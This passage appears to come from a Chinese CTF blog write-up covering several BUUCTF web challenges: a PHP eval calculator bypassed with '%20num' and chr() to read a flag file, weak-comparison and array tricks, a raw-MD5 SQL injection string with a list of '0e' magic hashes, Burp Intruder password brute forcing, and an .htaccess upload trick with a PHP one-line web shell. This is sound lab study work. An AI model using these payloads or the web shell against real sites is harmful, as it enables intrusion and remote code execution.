            </div>`);
        },
        // 请求失败时的回调函数
        error: function() {
            // 弹出警告框提示用户计算失败
            alert("这啥?算不来!");
        }
    })
    // 阻止表单的默认提交行为,避免页面刷新
    return false;
})

</script>

我们可以发现设置请求的 URL中含有calc.php,这说明计算行为都是在这个php页面中进行运算的,我们尝试访问:

image-20241001130815756

我们进行代码审计:

<?php
// 关闭所有错误报告
error_reporting(0);

// 检查是否存在 GET 请求参数 'num'
if(!isset($_GET['num'])){
    // 如果 'num' 参数不存在,显示当前脚本的源代码
    show_source(__FILE__);
} else {
    // 获取 'num' 参数的值
    $str = $_GET['num'];
    
    // 定义一个黑名单数组,包含不允许的字符和符号
    $blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '\[', '\]', '\$', '\\', '\^'];
    
    // 遍历黑名单中的每个字符
    foreach ($blacklist as $blackitem) {
        // 使用正则表达式检查字符串中是否包含黑名单中的字符
        if (preg_match('/' . $blackitem . '/m', $str)) {
            // 如果发现不允许的字符,终止脚本并输出提示信息
            die("what are you want to do?");
        }
    }
    
    // 使用 eval 函数执行动态生成的代码并输出结果
    eval('echo '.$str.';');
}
?>

经过尝试我们发现num中不能含有字母,否则会被隐藏的waf拦截:

image-20241001132338836

但我们想要成功进行注入就必须要输入字母,我们应该怎么办?

不允许输入字母的waf绕过

WAF(Web 应用防火墙)可能会通过检测特定变量名来阻止某些恶意输入,但由于 PHP 的解析特性,空格的存在会改变变量的名称,导致绕过安全检测

回到题目,也就是说当我们传入的参数名为%20num而非num时,针对num变量的WAF就不会生效,而由于PHP的解析特性%20num会被解析成num正常执行

现在我们要进行注入了,我们想要查看根目录下的所有文件会使用以下两个函数进行注入:

var_dump()	用于输出一个或多个变量的详细信息,包括变量的类型和值
scandir()	用于读取指定目录中的文件和子目录

通过上面两个函数我们可以构造出以下payload:

?%20num=1;var_dump(scandir(/))

但是/被过滤了,/的ascii编码为47不会被过滤所以我们可以使用编码进行绕过:

?%20num=1;var_dump(scandir(chr(47)))

image-20241001133628516

可以发现输出了靶机根目录的信息,我们发现了可疑文件flagg,我们再使用以下函数进行提取:

file_get_contents()	用于读取文件的内容并将其作为字符串返回

我们构造payload:

image-20241001133925693

?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

注意:file_get_contents()函数中要使用.进行拼接

image-20241001134233828

考点:查看源码信息收集、代码审计、waf绕过、过滤规则绕过

[极客大挑战 2019]BuyFlag(新注入)

打开网站,我们看到这个页面:

image-20241001134737211

似曾相识,我们先查看源码,这次出现了一个pay.php:

image-20241001134944721

image-20241001135018283

这次需要我们去买flag

想要flag必须满足以下条件:你是CUIT(成都信息工程大学)的学生,你必须给出正确的密码

我们查看网页源码:

image-20241001135216450

我们进行代码审计,这不是很难:

if (isset($_POST['password'])) { // 检查是否有提交的 'password' 字段
	$password = $_POST['password']; // 获取密码输入
	if (is_numeric($password)) { // 检查密码是否为数字
		echo "password can't be number</br>"; // 如果是数字,输出错误信息
	} elseif ($password == 404) { // 检查密码是否等于 404
		echo "Password Right!</br>"; // 如果正确,输出成功信息
	}
}

我们需要POST请求一个password的值,又是一个相等运算符的弱对比,我们可以给password赋值为404a来绕过:

image-20241001140020198

只有CUIT的学生可以买FLAG,我们可以发现Cookie中的user参数可能就是检测我们是否是CUIT的学生的参数,我们修改为1:

image-20241001140036133

现在要我们给钱了,根据提示我们给出money参数:

image-20241001140212472

这次又说我们传入的参数太长了,减少一个0钱又不够,这下该怎么办?

数组处理

使用 money[] 将值作为数组元素传递,PHP 会将其视为多个输入,这可能会被处理为合法的数组,而不是单一的长字符串。

某些应用对单个参数的长度有严格限制,而数组输入可能会被认为是多个较短的值,从而不会触发长度检查。

数组参数通常在处理时更灵活,能够容纳多个值,因此服务器可能会允许更大的数据量

因此我们传入money[]数组得到了flag:

image-20241001140517098

考点:查看源码信息收集、代码审计、数组注入

[BJDCTF2020]Easy MD5(新注入新绕过)

打开网站,我们看到这个页面:

image-20241001140815915

只有一个提交框,我们随便提交几个值查看,发现传入了password参数中,但什么回显都没有:

image-20241001140904118

查看网站源码也没有任何提示,我们先抓个包看看返回包:

image-20241001141033522

返回包中给出了提示:

hint: select * from 'admin' where password=md5($pass,true)

意思是说我们传入的password参数(提示给出的password参数为$pass)会经过md5()函数的加密,我们需要利用md5()函数构造出SQL注入语句

md5语法

md5(string,raw)
参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式 FALSE - 默认。32 字符十六进制数

这里给出一个非常实用的字符串ffifdyop,我们可以看看它的表现:

image-20241001142308163

可以发现这个字符串经过md5($pass,true)加密后得到了以'or'6开头的内容,我们可以猜测原题中的SQL语句拼接后可以得到:

select * from 'admin' where password='md5($pass,true)'
select * from 'admin' where password=''or'6�]��!r,��b'

参考文章:ffifdyop——绕过中一个奇妙的字符串 - 你知道是我的 - 博客园 (cnblogs.com)

那么我们尝试传入参数password=ffifdyop,我们成功到了下一关:

image-20241001142815561

我们查看网页源码:

image-20241001142840453

代码审计:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

就是传入两个参数a和b,要求两者不相等但md5值相等

找到两个不同的字符串但具有相同的 MD5 哈希值的情况称为“哈希碰撞”,要找出两个不同的字符串但具有相同的 MD5 哈希值是极其困难的。

在此我们最好进行绕过

MD5相等绕过

0E绕过法

在 PHP 中,如果字符串以 0E 开头,它会被解释为科学记数法表示的数字。例如,0E100E20都 会被解析为 0,而不是字符串本身

在此给出经md5加密后是0E开头且后边值均为数字的字符串:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708 
0e462097431906509019562988736854
314282422 
0e990995504821699494520356953734
571579406 
0e972379832854295224118025748221
903251147 
0e174510503823932942361353209384
1110242161 
0e435874558488625891324861198103
1320830526 
0e912095958985483346995414060832
1586264293 
0e622743671155995737639662718498
2302756269 
0e250566888497473798724426794462
2427435592 
0e067696952328669732475498472343
2653531602 
0e877487522341544758028810610885
3293867441 
0e471001201303602543921144570260
3295421201 
0e703870333002232681239618856220
3465814713 
0e258631645650999664521705537122
3524854780 
0e507419062489887827087815735195
3908336290 
0e807624498959190415881248245271
4011627063 
0e485805687034439905938362701775
4775635065 
0e998212089946640967599450361168
4790555361 
0e643442214660994430134492464512
5432453531 
0e512318699085881630861890526097
5579679820 
0e877622011730221803461740184915
5585393579 
0e664357355382305805992765337023
6376552501 
0e165886706997482187870215578015
7124129977 
0e500007361044747804682122060876
7197546197 
0e915188576072469101457315675502
7656486157 
0e451569119711843337267091732412
QLTHNDT 
0e405967825401955372549139051580
QNKCDZO 
0e830400451993494058024219903391
EEIZDOI 
0e782601363539291779881938479162
TUFEPMC 
0e839407194569345277863905212547
UTIPEZQ 
0e382098788231234954670291303879
UYXFLOI 
0e552539585246568817348686838809
IHKFRNS 
0e256160682445802696926137988570
PJNPDWY 
0e291529052894702774557631701704
ABJIHVY 
0e755264355178451322893275696586
DQWRASX 
0e742373665639232907775599582643
DYAXWCA 
0e424759758842488633464374063001
GEGHBXL 
0e248776895502908863709684713578
GGHMVOE 
0e362766013028313274586933780773
GZECLQZ 
0e537612333747236407713628225676
NWWKITQ 
0e763082070976038347657360817689
NOOPCJF 
0e818888003657176127862245791911
MAUXXQC 
0e478478466848439040434801845361
MMHUWUV 
0e701732711630150438129209816536

我们的a和b从中随机选两个值就可以过关了:

数组绕过法(PHP8不适用)

在 PHP5 和 PHP7 中,当两个 md5 进行比较时,若参数是不同的数组,那么 == 和 === 比较的结果均为 True

即我们传入a[]=1&b[]=2也能过关

参考文章:PHP md5 相等绕过 - Ainsliaea - 博客园 (cnblogs.com)

进入下一关:

image-20241001144114458

代码审计:

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

使用数组绕过法即可得到flag

image-20241001144347150

考点:理解md5加密绕过

[HCTF 2018]admin

打开网站,我们看到这个页面:

image-20241001152815822

我们查看网页源码,只有两个功能页面:登录和注册

image-20241001152847850

按照题目提示我们尝试登录admin的账号,失败了:

image-20241001153036633

尝试SQL注入会被拦截:

image-20241001153016809

在此介绍burpsuite的一个很常用的功能——Intruder

Intruder

Intruder 功能是一个强大的攻击工具,主要用于自动化执行各种类型的攻击,包括暴力破解、注入、参数操纵等

回到题目,我们先拦截一个请求包,将其发送到Intruder中:

image-20241001153522247

我们在密码的部分添加payload位置,说明我们要进行密码爆破:

image-20241001153619741

再在payload设置中选择密码字典,我用的这里面的字典:TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。 (github.com)

设置好字典后就可以点击右上角的开始攻击了:

image-20241001154701151

我们通过相应报文的长度发现密码是123,我们尝试登录成功:

image-20241001154627083

考点:弱口令密码爆破

补充:BUUCTF | HCTF 2018]admin - 东坡肉肉君 - 博客园 (cnblogs.com)这里面有更提高的解法

[MRCTF2020]你传你呢(新知识巩固题)

打开网站,我们看到这个儒雅随和的页面:

image-20241001154924933

有个文件上传点,我们构造一句话木马上传:

<?php @eval($_POST['shell'];?>

image-20241001162328540

直接被拦截,我们修改MIME类型为image/jpeg并加上GIF文件头试试:

image-20241001162402303

还是不行,我们修改php绕过后缀也失败了

这下怎么办?

修改配置文件

.htaccess 文件是 Apache HTTP 服务器的配置文件,用于为特定目录及其子目录定义配置规则

我们可以在其中写入:

AddType application/x-httpd-php .jpg

用于将特定文件扩展名与 PHP 处理器关联。这样,当 Apache 服务器接收到一个请求,且请求的文件扩展名为 .jpg 时,它会将该文件作为 PHP 文件进行处理,而不是作为普通的图像文件。

我们先上传一个能够修改配置文件的.htaccess文件,上传成功后再上传一个后缀改为jpg的shell(重启靶场重传了):

image-20241001163356871

image-20241001163444423

查了很多方法这里使用蚁剑还是连不上,推测可能是GIF89a的文件头影响了

网上的WP都是没有GIF89a也能上传的,但这里不知道为什么都被拦截了(可能是什么软件版本更新了)

总之这里知道要这么做就行了:上传一个能够覆盖原本的修改配置文件.htaccess再上传木马

这题只能先跳过了

考点:文件上传修改配置文件

posted @ 2024-08-06 16:09  Super_Snow_Sword  阅读(249)  评论(1编辑  收藏  举报